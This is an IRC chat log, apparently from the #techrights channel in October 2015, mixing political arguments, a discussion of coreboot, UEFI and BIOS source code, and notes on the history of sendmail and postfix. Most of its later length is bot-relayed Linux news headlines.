| schestowitz | people don't log in to #techrights to hear about that | Oct 08 17:59 |
| MinceR | soon they will | Oct 08 17:59 |
| schestowitz | so be kind to other people and keep these topics in other channels | Oct 08 17:59 |
| MinceR | since msb_'s being crapflooding this channel with putin propaganda and sjw propaganda for quite a while | Oct 08 17:59 |
| msb_ | I never use the term "political correctness" because it has no definite meaning, And I've said explicitly that people should voluntarily limit harmful speech, like videogames that train boys to torture and murder women. | Oct 08 17:59 |
| schestowitz | or else we won't gain any wider acceptance and a lot of updates from IRC will be rubbish | Oct 08 17:59 |
| MinceR | apparently to sjws only the terms they want to ban have "definite meaning" | Oct 08 17:59 |
| MinceR | schestowitz: well, that's why we used to ban trolls | Oct 08 18:00 |
| schestowitz | msb_: anyway, no more politics here | Oct 08 18:00 |
| schestowitz | unless it's very relevant to software | Oct 08 18:00 |
| schestowitz | like MS bribing some government | Oct 08 18:00 |
| schestowitz | some women who use to frequent this channel left | Oct 08 18:00 |
| MinceR | the sjw/un campaign for global internet censorship might be relevant to software | Oct 08 18:00 |
| MinceR | it's just that msb_ is on the wrong side of it | Oct 08 18:01 |
| schestowitz | because diablo3d was a misogynist | Oct 08 18:01 |
| msb_ | "Ukraine" has not been mentioned here for four days. | Oct 08 18:01 |
| MinceR | you keep mentioning it | Oct 08 18:01 |
| schestowitz | some people who don't share your view that US="nazis" might leave too | Oct 08 18:01 |
| schestowitz | bbl | Oct 08 18:01 |
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| msb_ | MinceR: Correct me if I'm wrong, but you seem to feel that no one should discourage computer game creators from making games that show the rape, torture and murder of women. You seem to be calling such discouragement "bullying". Isn't that misogynistic? | Oct 08 18:06 |
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| msb_ | Doesn't freedom of speech give women the right to repeatedly insist that they not be portrayed as victims of rape, torture, and murder, especially in computer games that allow players to actually do those things? | Oct 08 18:09 |
| msb_ | And thereby get trained to do those things in real life? | Oct 08 18:09 |
| msb_ | The classic remedy for speech that advocates evil is more speech that exposes the evil speech and explains why it is evil. | Oct 08 18:13 |
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| MinceR | msb_: that's not the sort of games you were talking about a while ago | Oct 08 18:38 |
| MinceR | msb_: why do you keep moving the goalposts? | Oct 08 18:38 |
| MinceR | 191301 < msb_> The classic remedy for speech that advocates evil is more speech that exposes the evil speech and explains why it is evil. | Oct 08 18:38 |
| MinceR | so, why do you promote censorship instead? | Oct 08 18:38 |
| schestowitz | One cannot have everything, my country’s army is not the best in the world. | Oct 08 18:59 |
| schestowitz | Let me drown that shame in tasty water. | Oct 08 18:59 |
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| msb_ | MinceR: How have I "moved the goalposts"? And where have I advocated censorship? | Oct 08 19:26 |
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| cubexyz | yeah Garrett is a bit of a goof | Oct 08 23:23 |
| cubexyz | he actually seems anti-coreboot | Oct 08 23:23 |
| MinceR | coreboot is not PC enough for him? | Oct 08 23:25 |
| cubexyz | he's saying that coreboot "doesn't solve the problem" | Oct 08 23:25 |
| MinceR | which problem? | Oct 08 23:25 |
| MinceR | that we can still boot OSes that m$ doesn't want us to boot? | Oct 08 23:26 |
| MinceR | or that the system firmware isn't bigger than the kernel? | Oct 08 23:26 |
| cubexyz | http://www.maxhost.org/other/garrett-on-coreboot.txt | Oct 08 23:28 |
| cubexyz | basically it boils down to if one can turn off secure boot, you're OK | Oct 08 23:29 |
| MinceR | there are other problems it solves | Oct 08 23:30 |
| MinceR | but i guess those don't matter to garrett | Oct 08 23:30 |
| cubexyz | I don't buy the boogeyman argument | Oct 08 23:30 |
| MinceR | like not using a huge bloated bug-ridden hairball to boot your system | Oct 08 23:30 |
| cubexyz | it's very unlikely that a hacker could overwrite your BIOS | Oct 08 23:31 |
| cubexyz | possible, but very unlikely | Oct 08 23:31 |
| MinceR | maybe they'll proliferate such malware | Oct 08 23:31 |
| MinceR | to justify locking people into dumb appliances | Oct 08 23:31 |
| cubexyz | I think that would be my real fear: Microsoft lock-in | Oct 08 23:32 |
| cubexyz | not boogeyman hackers | Oct 08 23:32 |
| MinceR | intel doesn't want you to even be aware of that possibility | Oct 08 23:34 |
| MinceR | maybe redcrap believes it can't happen | Oct 08 23:34 |
| MinceR | or they got promises to be paid off if they're locked out of the market | Oct 08 23:34 |
| cubexyz | from the info I've gathered it seems Gigabyte and Google are the two companies which are the most pro-coreboot | Oct 08 23:38 |
| cubexyz | some Gigabyte boards have dual SPI flash bios circuits | Oct 08 23:39 |
| cubexyz | you can toggle which BIOS you boot from | Oct 08 23:39 |
| cubexyz | perfect for experimenting purposes | Oct 08 23:40 |
| msb_ | Here's a possible free-speech/more-speech solution for the SJW's concerns: A computer game that enables girls and women to grab a knife and eviscerate their rapist-attacker, watching the blood pour out of him and hearing him scream and then die, over and over again. RT just mentioned a computer game called Killbox, which enables the player to pilot a drone and murder people, and then experience the same attack as a person on the | Oct 08 23:48 |
| msb_ | ground, trying to stay alive. http://motherboard.vice.com/read/in-this-game-you-play-a-drone-pilot-then-a-drone-target http://www.killbox.info/ | Oct 08 23:48 |
| -TechrightsBot-tr/#techrights-motherboard.vice.com | In This Game You Play a Drone Pilot, Then a Drone Target | Motherboard [ http://ur1.ca/nyodd ] | Oct 08 23:48 | |
| -TechrightsBot-tr/#techrights-www.killbox.info | Killbox | Oct 08 23:48 | |
| MinceR | go develop it, then | Oct 08 23:48 |
| msb_ | Busy doing other things, but maybe I can e-mail the suggestion to Sarah Sharp. | Oct 08 23:50 |
| MinceR | or you could hire somebody to do it | Oct 08 23:50 |
| msb_ | No money. | Oct 08 23:50 |
| MinceR | i'm sure there are plenty of rich sjws who are interested in funding such a project | Oct 08 23:55 |
| msb_ | "like not using a huge bloated bug-ridden hairball to boot your system" It's likely that the BIOS code used by reputable mobo manufacturers, having evolved through dozens of different models, is very well debugged and well structured. | Oct 08 23:56 |
| MinceR | seems unlikely, but at least it was probably designed with more thought than uefi | Oct 08 23:57 |
| MinceR | and they had plenty of time to fix bugs | Oct 08 23:57 |
| cubexyz | well it is and it isn't... | Oct 08 23:57 |
| MinceR | also, locking users into winblows and macos probably wasn't a primary design goal | Oct 08 23:57 |
| cubexyz | AMI BIOS source code is fairly convoluted | Oct 08 23:57 |
| MinceR | back then, i mean | Oct 08 23:58 |
| MinceR | as opposed to uefi | Oct 08 23:58 |
| cubexyz | 1999 era BIOS source code is convoluted | Oct 08 23:58 |
| cubexyz | modern BIOS code is even more voluminous | Oct 08 23:58 |
| cubexyz | no, it is true there was no lock-in back in 1999 and before | Oct 08 23:59 |
| msb_ | cubexyz: Where can we find AMI BIOS source code, or modern BIOS code? | Oct 08 23:59 |
| cubexyz | people are rather reluctant to post it, but there used to be some Russian sites and torrents that had some | Oct 09 00:00 |
| cubexyz | 286 BIOS should be easy to find | Oct 09 00:00 |
| msb_ | Yay! Vladimir Putin the Hero of the People comes through again! 8^) | Oct 09 00:03 |
| *MinceR facepalms | Oct 09 00:03 | |
| msb_ | MinceR: After you've replaced the exploded pieces of your brain back into your head, you may not quote that line without the smiley. | Oct 09 00:06 |
| MinceR | :crickets: | Oct 09 00:06 |
| msb_ | http://cosmicpenguin.com/misc/62---Night-Atmosphere---Crickets,-Frogs,-Ducks.mp3 | Oct 09 00:13 |
| msb_ | I once worked in a lab where we bought crickets to feed the experimental frogs. A box full of crickets got loose and they chirped continuously for weeks. We were never able to find them. | Oct 09 00:20 |
| MinceR | lol | Oct 09 00:26 |
| schestowitz | https://joindiaspora.com/posts/6670549 | Oct 09 00:27 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #clinton wants to have gun suppliers liable for mass murders (hence sued). OK, so #syria can sue #pentagon McCain and Clinton? | Oct 09 00:27 | |
| schestowitz | ""What comes next? Making Microsoft liable of her setting up an unauthorized and illegal mail server?" | Oct 09 00:27 |
| schestowitz | I have always been trying to find clear evidence that she uses Exchange/MS for it... | Oct 09 00:27 |
| cubexyz | true Unix peeps use sendmail :) | Oct 09 00:41 |
| MinceR | not postfix? | Oct 09 00:42 |
| cubexyz | well delivermail is the original mail transport agent | Oct 09 00:43 |
| MinceR | looks like clinton has a pretty tenuous grip on the concept of responsibility | Oct 09 00:43 |
| MinceR | also, rule of law | Oct 09 00:43 |
| cubexyz | MTAs actually used ftp for mail delivery in the early days | Oct 09 00:43 |
| cubexyz | but 2.11BSD is sendmail, and quasijarus is sendmail | Oct 09 00:44 |
| cubexyz | I still use it | Oct 09 00:44 |
| cubexyz | postfix came on the scene far later on | Oct 09 00:45 |
| cubexyz | 1997 or so | Oct 09 00:45 |
| cubexyz | that's from IBM-land | Oct 09 00:45 |
| MinceR | https://pbs.twimg.com/media/CQ0gYTKWoAM-RAG.png | Oct 09 00:46 |
| cubexyz | sendmail == BSD | Oct 09 00:47 |
| cubexyz | postfix == IBM | Oct 09 00:47 |
| cubexyz | which is the more Unixy? | Oct 09 00:47 |
| MinceR | i've never seen postfix associated with ibm | Oct 09 00:47 |
| cubexyz | why do you think postfix uses the IBM Public License? | Oct 09 00:48 |
| MinceR | i didn't know it did | Oct 09 00:48 |
| MinceR | it even used to be called "IBM Secure Mailer", apparently | Oct 09 00:49 |
| cubexyz | Wiestse Zweitze is at Google now | Oct 09 00:49 |
| MinceR | not Wietse Venema? | Oct 09 00:49 |
| cubexyz | ah, it is Venema yes, sorry Zweitze must be a middle name | Oct 09 00:50 |
| cubexyz | 2.11BSD might actually be more "up to date" than quasijarus | Oct 09 01:07 |
| cubexyz | I haven't heard of anyone working on quasijarus in a long time | Oct 09 01:08 |
| cubexyz | but I do know that the PDP-11 aficionados working on 2.11BSD, myself included | Oct 09 01:08 |
| cubexyz | s/working/are working/ | Oct 09 01:09 |
| cubexyz | ok msb_, I think I got a link for you | Oct 09 01:12 |
| cubexyz | I looked into PDP-11 and there is no real equivalent to PC BIOS on PDP-11 | Oct 09 01:13 |
| cubexyz | wow, they really scrubbed all the BIOS links | Oct 09 01:17 |
| cubexyz | https://filetea.me/t1skxtmtr4oSF2IfTZmNgcR9w | Oct 09 01:21 |
| -TechrightsBot-tr/#techrights-filetea.me | FileTea, anonymous, volatile file sharing [ http://ur1.ca/nyp4d ] | Oct 09 01:21 | |
| cubexyz | oops, how did that get there? | Oct 09 01:22 |
| MinceR | must be an accidental paste | Oct 09 01:22 |
| cubexyz | don't look NSA | Oct 09 01:22 |
| MinceR | too late, they started looking ages ago | Oct 09 01:23 |
| MinceR | i can try to summon the rest of the gang if you want | Oct 09 01:23 |
| MinceR | M-x spook | Oct 09 01:23 |
| MinceR | :> | Oct 09 01:23 |
| cubexyz | can't believe none of the Russian links work | Oct 09 01:24 |
| msb_ | Was that filetea page supposed to do something? I just got a blank page. But now my computer is looking at me funny. | Oct 09 01:39 |
| MinceR | with javascript it allows you to download a file | Oct 09 01:40 |
| MinceR | without javascript it won't do much | Oct 09 01:40 |
| msb_ | I don't have an option for turning javascript off. | Oct 09 01:46 |
| cubexyz | hmmm, I need a better way to do this | Oct 09 01:47 |
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| MinceR | refreshing might help | Oct 09 01:49 |
| MinceR | actually it stopped working for me too | Oct 09 01:49 |
| MinceR | maybe they took the file down | Oct 09 01:49 |
| cubexyz | possible | Oct 09 01:49 |
| MinceR | a bit too volatile, perhaps | Oct 09 01:49 |
| cubexyz | https://filetea.me/default/#t1sEn32gwY2RNmXoETMxxOjyA | Oct 09 01:50 |
| -TechrightsBot-tr/#techrights-filetea.me | FileTea, anonymous, volatile file sharing [ http://ur1.ca/nypce ] | Oct 09 01:50 | |
| cubexyz | it closes itself if the sender closes the tab | Oct 09 01:51 |
| MinceR | ah, so that's what they meant by "volatile" | Oct 09 01:51 |
| cubexyz | yes :) | Oct 09 01:51 |
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| msb_ | Wanna see my Kitty Porn? | Oct 09 01:53 |
| cubexyz | reminds me of a funny story about source code | Oct 09 01:53 |
| cubexyz | Company A makes programmer B sign an NDA | Oct 09 01:53 |
| cubexyz | which states after the programming work is done and forwarded you must delete all copies | Oct 09 01:54 |
| cubexyz | several years later Company A is asking programmer B "uh.... do you still have the code?" | Oct 09 01:54 |
| cubexyz | anyways, now you know why a lot of bugs are never fixed | Oct 09 01:55 |
| MinceR | :> | Oct 09 01:56 |
| msb_ | It could be a trap. Company A found out that Company C has the code, and is looking for an excuse to sue Programmer B. | Oct 09 01:58 |
| MinceR | indeed | Oct 09 01:58 |
| cubexyz | no, it was just a cock up | Oct 09 01:58 |
| cubexyz | lots of stuff gets lost | Oct 09 01:59 |
| cubexyz | another thing I wondered about... does the NDA ever expire? | Oct 09 02:01 |
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| cubexyz | what am I supposed to do with all these cola recipes? | Oct 09 02:02 |
| cubexyz | ah, there's a "in perpetuity" clause | Oct 09 02:03 |
| msb_ | Damn I wish I were rich! http://www.npr.org/sections/thetwo-way/2015/09/30/444721375/tesla-unveils-its-model-x-complete-with-a-bioweapon-defense-button | Oct 09 02:23 |
| -TechrightsBot-tr/#techrights-www.npr.org | Tesla Unveils Its Model X, Complete With A 'Bioweapon Defense' Button : The Two-Way : NPR [ http://ur1.ca/nypjl ] | Oct 09 02:23 | |
| MinceR | they should call when it's complete with reliability | Oct 09 02:25 |
| msb_ | At least it won't be shooting soot out of its tail. | Oct 09 02:26 |
| MinceR | full of pointless boondoggles | Oct 09 02:26 |
| MinceR | yeah, it will especially not generate pollution when the software crashes and the car grinds to a halt | Oct 09 02:26 |
| msb_ | Always the optimist! | Oct 09 02:27 |
| msb_ | How do you charge a 90 KW-hour battery? Mr. Fusion? | Oct 09 02:30 |
| MinceR | i wish. | Oct 09 02:30 |
| MinceR | "The company claims it's 300 times better at filtering bacteria, 500 times better at filtering allergens, 700 times better at filtering smog, and 800 times better at filtering viruses." | Oct 09 02:31 |
| MinceR | so if the normal car's air filter doesn't help you at all against bacteria and viruses, then this one will help you 300 and 500 times zero, respectively | Oct 09 02:32 |
| msb_ | At least it will keep out the Zombie Virus that the govt will be releasing in 2016. Fresh Brains!!! | Oct 09 02:35 |
| MinceR | or it won't | Oct 09 02:36 |
| MinceR | we don't really find out from the article | Oct 09 02:36 |
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| schestowitz | "Think of the notorious cases when DG3 has found a blockbuster patent (pharma, telecoms) invalid. Blown away, throughout Europe, in one fell swoop. What does that do to the blood pressure of the CEO of the patent owner? Who do they think they are, at the EPO, the Big Boss fumes. They should know their place, It is me, not some scrivening Patent Office jobsworth, who drives my business." | Oct 09 09:11 |
| schestowitz | http://ipkitten.blogspot.co.uk/2015/10/viennese-waltz-may-be-last-dance-for.html | Oct 09 09:11 |
| -TechrightsBot-tr/#techrights-ipkitten.blogspot.co.uk | The IPKat: Viennese waltz may be the last dance for Board members [ http://ur1.ca/nys0s ] | Oct 09 09:11 | |
| schestowitz | " | Oct 09 09:11 |
| schestowitz | We are asked to suppose that the reason for requiring the judges of DG3 to move to Vienna or face the sack is: | Oct 09 09:11 |
| schestowitz | "...showing this group of ungrateful judges who's really the boss, who's in control of their careers" | Oct 09 09:11 |
| schestowitz | At first sight, it seems ridiculous, that the AC can allow the President to behave like this, and destroy the fount of the highly respected and intellectually sound and coherent jurisprudence on the substantive law of validity of patents in Europe. But is it? | Oct 09 09:12 |
| schestowitz | Elsewhere in the blogosphere, we read that what suits the power users of the patent system, in their struggles to hold down the upstarts of this world, is legal UNcertainty. The judges of DG3 have upset not only the ego of the EPO President but also the egos of quite a few CEO's of giant corporations. There are no Champions of the EPO amongst their ranks. These CEO's (it is thought that many of them are in fact sociopaths) are the masters of | Oct 09 09:12 |
| schestowitz | the universe whose minions and lobbyists explain to ministers in national governments where their duty lies. Ist so. And these governments in turn explain to their delegates on the EPO's AC how to vote. In being responsive to the minions and lobbyists, BB is only doing the bidding of his masters. Ist so. | Oct 09 09:12 |
| schestowitz | But what of the public? Is legal uncertainty good for it? Is a coherent pan-European body of caselaw on patent validity a Good Thing for the public? | Oct 09 09:12 |
| schestowitz | Remember "What's good for GM is good for America"? When it comes to patent law, is "What's good for VW" (for example) good for Europe? | Oct 09 09:12 |
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| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'Mobile Linux (e.g. Android) Still a Victim of...' | Oct 09 11:00 | |
| *TweetTuxMachines @The_Code_Shirts retweeted @tuxmachines: 'Mobile Linux (e.g. Android) Still a Victim of...' | Oct 09 11:00 | |
| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'Today in Techrights http://t.co/uDhH3DAcTv' | Oct 09 11:12 | |
| TweetTuxMachines | @tuxmachines Nvidia Shield Android TV: A powerful do-it-all | Oct 09 11:12 |
| TweetTuxMachines | box that lacks content http://t.co/TwjDuLtHHP | Oct 09 11:12 |
| TweetTuxMachines | (arstechnica.com) | Oct 09 11:12 |
| -TechrightsBot-tr/#techrights-arstechnica.com | Nvidia Shield Android TV: A powerful do-it-all box that lacks content | Ars Technica | Oct 09 11:12 | |
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| TweetTuxMachines | @tuxmachines Android-powered Priv phone is a make-or-break | Oct 09 11:20 |
| TweetTuxMachines | venture for BlackBerry, CEO says | Oct 09 11:20 |
| TweetTuxMachines | http://t.co/4vqiFEK9ZW (www.thestar.com) | Oct 09 11:20 |
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| -TechrightsBot-tr/#techrights-www.thestar.com | Android-powered Priv phone is a make-or-break venture for BlackBerry, CEO says | Toronto Star | Oct 09 11:20 | |
| TweetTuxMachines | @tuxmachines Review: Android Pay works well, when you can | Oct 09 11:20 |
| TweetTuxMachines | use it http://t.co/4AUE6Xxnim (m.phys.org) OK | Oct 09 11:20 |
| TweetTuxMachines | when cash payments not an option | Oct 09 11:20 |
| -TechrightsBot-tr/#techrights-phys.org | Review: Android Pay works well, when you can use it | Oct 09 11:20 | |
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| TweetTuxMachines | @tuxmachines GNOME 3.18.1 newstable tarballs due | Oct 09 11:20 |
| TweetTuxMachines | http://t.co/nezZONRXxD (permalink.gmane.org) | Oct 09 11:20 |
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| -TechrightsBot-tr/#techrights-permalink.gmane.org | GNOME 3.18.1 newstable tarballs due | Oct 09 11:20 | |
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| TweetTuxMachines | @tuxmachines CC BY-SA 4.0 now one-way compatible with GPLv3 | Oct 09 11:33 |
| TweetTuxMachines | https://t.co/ZwCAxux7fK (creativecommons.org) | Oct 09 11:33 |
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| -TechrightsBot-tr/#techrights-creativecommons.org | CC BY-SA 4.0 now one-way compatible with GPLv3 - Creative Commons | Oct 09 11:33 | |
| TweetTuxMachines | @tuxmachines Video: Recent public talk with Linus Torvalds | Oct 09 11:33 |
| TweetTuxMachines | http://t.co/K31mSmBHRd (www.montanalinux.org) | Oct 09 11:33 |
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| -TechrightsBot-tr/#techrights-www.montanalinux.org | Video: Recent public talk with Linus Torvalds | MontanaLinux.org | Oct 09 11:33 | |
| TweetTuxMachines | @tuxmachines "GNOME Twitch is a GNOME 3 application" | Oct 09 11:33 |
| TweetTuxMachines | http://t.co/X1rvonXqR5 (www.webupd8.org) | Oct 09 11:33 |
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| -TechrightsBot-tr/#techrights-www.webupd8.org | Watch Twitch Without Flash On Your Desktop With GNOME Twitch ~ Web Upd8: Ubuntu / Linux blog | Oct 09 11:33 | |
| TweetTuxMachines | @tuxmachines Expandable Panel PCs run Linux on dual-core Bay | Oct 09 11:42 |
| TweetTuxMachines | Trail Atom http://t.co/qSPZDP4KMm | Oct 09 11:42 |
| TweetTuxMachines | (linuxgizmos.com) | Oct 09 11:42 |
| -TechrightsBot-tr/#techrights-linuxgizmos.com | Expandable Panel PCs run Linux on dual-core Bay Trail Atom · LinuxGizmos.com | Oct 09 11:42 | |
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| *TweetTuxMachines @BogdanEnbaev favourited '"GNOME Twitch is a GNOME 3 application" http://t.co/X1rvonXqR5' | Oct 09 11:42 | |
| TweetTuxMachines | @tuxmachines Spice Vulnerabilities Closed in Ubuntu 14.04 | Oct 09 11:56 |
| TweetTuxMachines | LTS and Ubuntu 15.04 | Oct 09 11:56 |
| TweetTuxMachines | http://t.co/lvfvlC12lF (linux.softpedia.com) | Oct 09 11:56 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Spice Vulnerabilities Closed in Ubuntu 14.04 LTS and Ubuntu 15.04 - Softpedia | Oct 09 11:56 | |
| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/0TLOAQ2AQL | Oct 09 11:56 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 09 11:56 | |
| TweetTuxMachines | @tuxmachines IBM and Servers http://t.co/qdhU3l26sV | Oct 09 11:56 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | IBM and Servers | Tux Machines | Oct 09 11:56 | |
| TweetTuxMachines | @tuxmachines LinuxCon Europe and Embedded Linux Conference | Oct 09 11:56 |
| TweetTuxMachines | Europe http://t.co/gnbmNrWiEl | Oct 09 11:56 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LinuxCon Europe and Embedded Linux Conference Europe | Tux Machines | Oct 09 11:56 | |
| TweetTuxMachines | @tuxmachines Using open source principles to build better | Oct 09 12:04 |
| TweetTuxMachines | engineering teams http://t.co/0SFEUMbO6d | Oct 09 12:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Using open source principles to build better engineering teams | Tux Machines | Oct 09 12:04 | |
| TweetTuxMachines | @tuxmachines How Xen Manages Security Disclosure | Oct 09 12:04 |
| TweetTuxMachines | http://t.co/fKOc479sbl (www.tuxmachines.org) | Oct 09 12:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | How Xen Manages Security Disclosure | Tux Machines | Oct 09 12:04 | |
| TweetTuxMachines | @tuxmachines Vendetta Online 1.8.354 3D Space Combat Game | Oct 09 12:05 |
| TweetTuxMachines | Gets Multi-Threaded Physics Engine | Oct 09 12:05 |
| TweetTuxMachines | http://t.co/bNzYiMepjD (news.softpedia.com) | Oct 09 12:05 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Vendetta Online 1.8.354 3D Space Combat Game Gets Multi-Threaded Physics Engine - Softpedia | Oct 09 12:05 | |
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| Witness | Helizabeth Hardon has sent a letter to the AC of EPO accusing the president of harassement. http://postimg.org/gallery/1jtws5d46/ enjoy. | Oct 09 12:19 |
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| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Update Is Being Tested, on | Oct 09 12:21 |
| TweetTuxMachines | Track for October Launch http://t.co/vbApVe1dtA | Oct 09 12:21 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu Touch OTA-7 Update Is Being Tested, on Track for October Launch - Softpedia | Oct 09 12:21 | |
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| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'Today in Techrights http://t.co/0TLOAQ2AQL' | Oct 09 12:21 | |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 09 12:21 | |
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| msb_ | "Video: Recent public talk with Linus Torvalds" -- not a word about systemd! | Oct 09 13:16 |
| TweetTuxMachines | @tuxmachines AMD Makes Open-Source "Iceland" GPU Support | Oct 09 13:16 |
| TweetTuxMachines | Experimental In Linux 4.3 | Oct 09 13:16 |
| TweetTuxMachines | http://t.co/bQYKtop4Bt (www.phoronix.com) | Oct 09 13:16 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | AMD Makes Open-Source "Iceland" GPU Support Experimental In Linux 4.3 - Phoronix | Oct 09 13:16 | |
| TweetTuxMachines | @tuxmachines Beyond Earth – Rising Tide Arrives on Linux | Oct 09 13:16 |
| TweetTuxMachines | Today http://t.co/MzXDtBazwm | Oct 09 13:16 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Beyond Earth – Rising Tide Arrives on Linux Today - Softpedia | Oct 09 13:16 | |
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| TweetTuxMachines | @tuxmachines Android Leftovers http://t.co/dcUbcG5VB3 | Oct 09 13:16 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android Leftovers | Tux Machines | Oct 09 13:16 | |
| TweetTuxMachines | @tuxmachines Security Leftovers http://t.co/WLjAEQ78Lh | Oct 09 13:16 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Security Leftovers | Tux Machines | Oct 09 13:17 | |
| TweetTuxMachines | @tuxmachines Leftovers: Ubuntu http://t.co/87pPYgJiZ8 | Oct 09 13:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Ubuntu | Tux Machines | Oct 09 13:17 | |
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| TweetTuxMachines | @tuxmachines Phoronix on Graphics http://t.co/74BOspPu9L | Oct 09 18:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Phoronix on Graphics | Tux Machines | Oct 09 18:52 | |
| TweetTuxMachines | @tuxmachines Enlightenment, KDE, and GNOME | Oct 09 18:52 |
| TweetTuxMachines | http://t.co/DxgWoYj7kf (www.tuxmachines.org) | Oct 09 18:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Enlightenment, KDE, and GNOME | Tux Machines | Oct 09 18:52 | |
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| schestowitz | https://twitter.com/mozhefa/status/652464834303401984?cn=cmVwbHk%3D&refsrc=email | Oct 09 19:13 |
| -TechrightsBot-tr/#techrights-@mozhefa: @schestowitz : all from those arrogant twats, so proud of distance between them n jungle life, they'd rather die than climb a tree. | Oct 09 19:13 | |
| TweetTuxMachines | @tuxmachines Linksys Endorses OpenWrt Linux-Based Open | Oct 09 20:13 |
| TweetTuxMachines | Source OS in Latest Router | Oct 09 20:13 |
| TweetTuxMachines | http://t.co/Fod6lCDou3 (www.tuxmachines.org) | Oct 09 20:13 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linksys Endorses OpenWrt Linux-Based Open Source OS in Latest Router | Tux Machines | Oct 09 20:13 | |
| TweetTuxMachines | @tuxmachines Examining the KNIME open source data analytics | Oct 09 20:13 |
| TweetTuxMachines | platform http://t.co/nPiutdDg9A | Oct 09 20:13 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Examining the KNIME open source data analytics platform | Tux Machines | Oct 09 20:13 | |
| TweetTuxMachines | @tuxmachines Linux Foundation: Security Challenges Threaten | Oct 09 20:52 |
| TweetTuxMachines | ‘Golden Age’ Of Open Source | Oct 09 20:52 |
| TweetTuxMachines | http://t.co/8QmDbbQ4Q6 (www.tuxmachines.org) | Oct 09 20:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Foundation: Security Challenges Threaten ‘Golden Age’ Of Open Source | Tux Machines | Oct 09 20:52 | |
| TweetTuxMachines | @tuxmachines Mozilla Continues Moving Away From NPAPI | Oct 09 20:52 |
| TweetTuxMachines | Plugins http://t.co/aPEmoMxp50 | Oct 09 20:52 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 09 20:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Mozilla Continues Moving Away From NPAPI Plugins | Tux Machines | Oct 09 20:52 | |
| TweetTuxMachines | @tuxmachines Oneplus One with Ubuntu Touch Just Got Cellular | Oct 09 20:53 |
| TweetTuxMachines | Support http://t.co/KGJACmsnxM | Oct 09 20:53 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Oneplus One with Ubuntu Touch Just Got Cellular Support | Tux Machines | Oct 09 20:53 | |
| *TweetTuxMachines @softpedialinux favourited 'Oneplus One with Ubuntu Touch Just Got Cellular...' | Oct 09 21:30 | |
| TweetTuxMachines | @tuxmachines New Renesas SoCs offer 1.5GHz, 1080p, GbE, USB | Oct 09 21:31 |
| TweetTuxMachines | 3.0, PCIe http://t.co/KQ9TZV9cDj | Oct 09 21:31 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | New Renesas SoCs offer 1.5GHz, 1080p, GbE, USB 3.0, PCIe | Tux Machines | Oct 09 21:31 | |
| TweetTuxMachines | @tuxmachines Linksys WRT router gains faster SoC, more RAM, | Oct 09 21:34 |
| TweetTuxMachines | OpenWrt http://t.co/eTfsBLUuLm | Oct 09 21:34 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 09 21:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linksys WRT router gains faster SoC, more RAM, OpenWrt | Tux Machines | Oct 09 21:34 | |
| TweetTuxMachines | @tuxmachines Science on Android http://t.co/DVWzhzs1fN | Oct 09 21:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Science on Android | Tux Machines | Oct 09 21:34 | |
| TweetTuxMachines | @tuxmachines Bodhi: Detour and Forum Themes now Moksha | Oct 09 21:34 |
| TweetTuxMachines | Compatible http://t.co/9Uws1140N8 | Oct 09 21:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Bodhi: Detour and Forum Themes now Moksha Compatible | Tux Machines | Oct 09 21:34 | |
| TweetTuxMachines | @tuxmachines KDBUS Continues Maturing, But Will We See It | Oct 09 21:34 |
| TweetTuxMachines | For Linux 4.4? http://t.co/40iVTFTzQr | Oct 09 21:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | KDBUS Continues Maturing, But Will We See It For Linux 4.4? | Tux Machines | Oct 09 21:34 | |
| *TweetTuxMachines @linuxusergroup favourited 'Down to Business with Major Deployments https://t.co/gezQJKETeM' | Oct 09 21:34 | |
| -TechrightsBot-tr/#techrights-dot.kde.org | Down to Business with Major Deployments | KDE.news | Oct 09 21:35 | |
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| cubexyz | looks like PCs are going to be gummed up with Microsoft crap more than ever | Oct 09 23:13 |
| MinceR | indeed | Oct 09 23:23 |
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| cubexyz | Ward from FSF is pretty knowledgeable about BIOS: | Oct 09 23:33 |
| cubexyz | https://fsf.org/blogs/community/active-management-technology | Oct 09 23:34 |
| -TechrightsBot-tr/#techrights-fsf.org | "Active Management Technology": The obscure remote control in some Intel hardware — Free Software Foundation — working together for free software [ http://ur1.ca/nyyw7 ] | Oct 09 23:34 | |
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| cubexyz | one can consider AMT as the Intel flavour of DASH | Oct 09 23:39 |
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| cubexyz | there should be an itegrity check on the BIOS | Oct 10 00:38 |
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| MinceR | https://twitter.com/Arcon_/status/652628863848087552 | Oct 10 00:41 |
